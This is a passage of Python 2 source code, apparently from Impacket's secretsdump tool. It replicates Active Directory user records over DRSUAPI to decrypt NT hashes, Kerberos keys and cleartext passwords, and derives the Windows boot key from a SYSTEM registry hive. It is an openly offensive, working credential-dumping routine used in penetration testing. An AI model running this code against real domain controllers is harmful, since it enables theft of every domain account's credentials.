DRSCrackNames. 2297 # There are some instances when you call -just-dc-user and you receive ERROR_DS_NAME_ERROR_NOT_UNIQUE 2298 # That's because we don't specify the domain for the user (and there might be duplicates) 2299 # Always remember that if you specify a domain, you should specify the NetBIOS domain name, 2300 # not the FQDN. Just for this time. It's confusing I know, but that's how this API works. 2301 if self.__justUser.find('\\') >=0 or self.__justUser.find('/') >= 0: 2302 self.__justUser = self.__justUser.replace('/','\\') 2303 formatOffered = drsuapi.DS_NAME_FORMAT.DS_NT4_ACCOUNT_NAME 2304 else: 2305 formatOffered = drsuapi.DS_NT4_ACCOUNT_NAME_SANS_DOMAIN 2306 2307 crackedName = self.__remoteOps.DRSCrackNames(formatOffered, 2308 drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME, 2309 name=self.__justUser) 2310 2311 if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1: 2312 if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0: 2313 raise Exception("%s: %s" % system_errors.ERROR_MESSAGES[ 2314 0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']]) 2315 2316 userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1]) 2317 #userRecord.dump() 2318 replyVersion = 'V%d' % userRecord['pdwOutVersion'] 2319 if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0: 2320 raise Exception('DRSGetNCChanges didn\'t return any object!') 2321 else: 2322 LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % ( 2323 crackedName['pmsgOut']['V1']['pResult']['cItems'], self.__justUser)) 2324 try: 2325 self.__decryptHash(userRecord, 2326 userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'], 2327 hashesOutputFile) 2328 if self.__justNTLM is False: 2329 self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][ 2330 'pPrefixEntry'], keysOutputFile, clearTextOutputFile) 2331 2332 except Exception, e: 2333 #import traceback 2334 #traceback.print_exc() 2335 LOG.error("Error while processing user!") 2336 LOG.error(str(e)) 2337 else: 2338 while status == STATUS_MORE_ENTRIES: 2339 resp = self.__remoteOps.getDomainUsers(enumerationContext) 2340 2341 for user in resp['Buffer']['Buffer']: 2342 userName = user['Name'] 2343 2344 userSid = self.__remoteOps.ridToSid(user['RelativeId']) 2345 if resumeSid is not None: 2346 # Means we're looking for a SID before start processing back again 2347 if resumeSid == userSid.formatCanonical(): 2348 # Match!, next round we will back processing 2349 LOG.debug('resumeSid %s reached! processing users from now on' % userSid.formatCanonical()) 2350 resumeSid = None 2351 else: 2352 LOG.debug('Skipping SID %s since it was processed already' % userSid.formatCanonical()) 2353 continue 2354 2355 # Let's crack the user sid into DS_FQDN_1779_NAME 2356 # In theory I shouldn't need to crack the sid. Instead 2357 # I could use it when calling DRSGetNCChanges inside the DSNAME parameter. 2358 # For some reason tho, I get ERROR_DS_DRA_BAD_DN when doing so. 2359 crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME, 2360 drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME, 2361 name=userSid.formatCanonical()) 2362 2363 if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1: 2364 if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0: 2365 LOG.error("%s: %s" % system_errors.ERROR_MESSAGES[ 2366 0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']]) 2367 break 2368 userRecord = self.__remoteOps.DRSGetNCChanges( 2369 crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1]) 2370 # userRecord.dump() 2371 replyVersion = 'V%d' % userRecord['pdwOutVersion'] 2372 if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0: 2373 raise Exception('DRSGetNCChanges didn\'t return any object!') 2374 else: 2375 LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % ( 2376 crackedName['pmsgOut']['V1']['pResult']['cItems'], userName)) 2377 try: 2378 self.__decryptHash(userRecord, 2379 userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'], 2380 hashesOutputFile) 2381 if self.__justNTLM is False: 2382 self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][ 2383 'pPrefixEntry'], keysOutputFile, clearTextOutputFile) 2384 2385 except Exception, e: 2386 if LOG.level == logging.DEBUG: 2387 import traceback 2388 traceback.print_exc() 2389 LOG.error("Error while processing user!") 2390 LOG.error(str(e)) 2391 2392 # Saving the session state 2393 self.__resumeSession.writeResumeData(userSid.formatCanonical()) 2394 2395 enumerationContext = resp['EnumerationContext'] 2396 status = resp['ErrorCode'] 2397 2398 # Everything went well and we covered all the users 2399 # Let's remove the resume file is we had created it 2400 if self.__justUser is None: 2401 self.__resumeSession.clearResumeData() 2402 2403 LOG.debug("Finished processing and printing user's hashes, now printing supplemental information") 2404 # Now we'll print the Kerberos keys. So we don't mix things up in the output. 2405 if len(self.__kerberosKeys) > 0: 2406 if self.__useVSSMethod is True: 2407 LOG.info('Kerberos keys from %s ' % self.__NTDS) 2408 else: 2409 LOG.info('Kerberos keys grabbed') 2410 2411 for itemKey in self.__kerberosKeys.keys(): 2412 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_KERBEROS, itemKey) 2413 2414 # And finally the cleartext pwds 2415 if len(self.__clearTextPwds) > 0: 2416 if self.__useVSSMethod is True: 2417 LOG.info('ClearText password from %s ' % self.__NTDS) 2418 else: 2419 LOG.info('ClearText passwords grabbed') 2420 2421 for itemKey in self.__clearTextPwds.keys(): 2422 self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_CLEARTEXT, itemKey) 2423 finally: 2424 # Resources cleanup 2425 if not hashesOutputFile is None: 2426 hashesOutputFile.close() 2427 2428 if not keysOutputFile is None: 2429 keysOutputFile.close() 2430 2431 if not clearTextOutputFile is None: 2432 clearTextOutputFile.close() 2433 2434 self.__resumeSession.endTransaction() 2435 2436 @classmethod 2437 def __writeOutput(cls, fd, data): 2438 try: 2439 fd.write(data) 2440 except Exception, e: 2441 LOG.error("Error writing entry, skipping (%s)" % str(e)) 2442 pass 2443 2444 def finish(self): 2445 if self.__NTDS is not None: 2446 self.__ESEDB.close() 2447 2448class LocalOperations: 2449 def __init__(self, systemHive): 2450 self.__systemHive = systemHive 2451 2452 def getBootKey(self): 2453 # Local Version whenever we are given the files directly 2454 bootKey = '' 2455 tmpKey = '' 2456 winreg = winregistry.Registry(self.__systemHive, False) 2457 # We gotta find out the Current Control Set 2458 currentControlSet = winreg.getValue('\\Select\\Current')[1] 2459 currentControlSet = "ControlSet%03d" % currentControlSet 2460 for key in ['JD', 'Skew1', 'GBG', 'Data']: 2461 LOG.debug('Retrieving class info for %s' % key) 2462 ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet, key)) 2463 digit = ans[:16].decode('utf-16le') 2464 tmpKey = tmpKey + digit 2465 2466 transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7] 2467 2468 tmpKey = unhexlify(tmpKey) 2469 2470 for i in xrange(len(tmpKey)): 2471 bootKey += tmpKey[transforms[i]] 2472 2473 LOG.info('Target system bootKey: 0x%s' % hexlify(bootKey)) 2474 2475 return bootKey 2476 2477 2478 def checkNoLMHashPolicy(self): 2479 LOG.debug('Checking NoLMHash Policy') 2480 winreg = winregistry.Registry(self.__systemHive, False) 2481 # We gotta find out the Current Control Set 2482 currentControlSet = winreg.getValue('\\Select\\Current')[1] 2483 currentControlSet = "ControlSet%03d" % currentControlSet 2484 2485 # noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1] 2486 noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet) 2487 if noLmHash is not None: 2488 noLmHash = noLmHash[1] 2489 else: 2490 noLmHash = 0 2491 2492 if noLmHash != 1: 2493 LOG.debug('LMHashes are being stored') 2494 return False 2495 LOG.debug('LMHashes are NOT being stored') 2496 return True 2497 2498def _print_helper(*args, **kwargs): 2499 print args[-1] 2500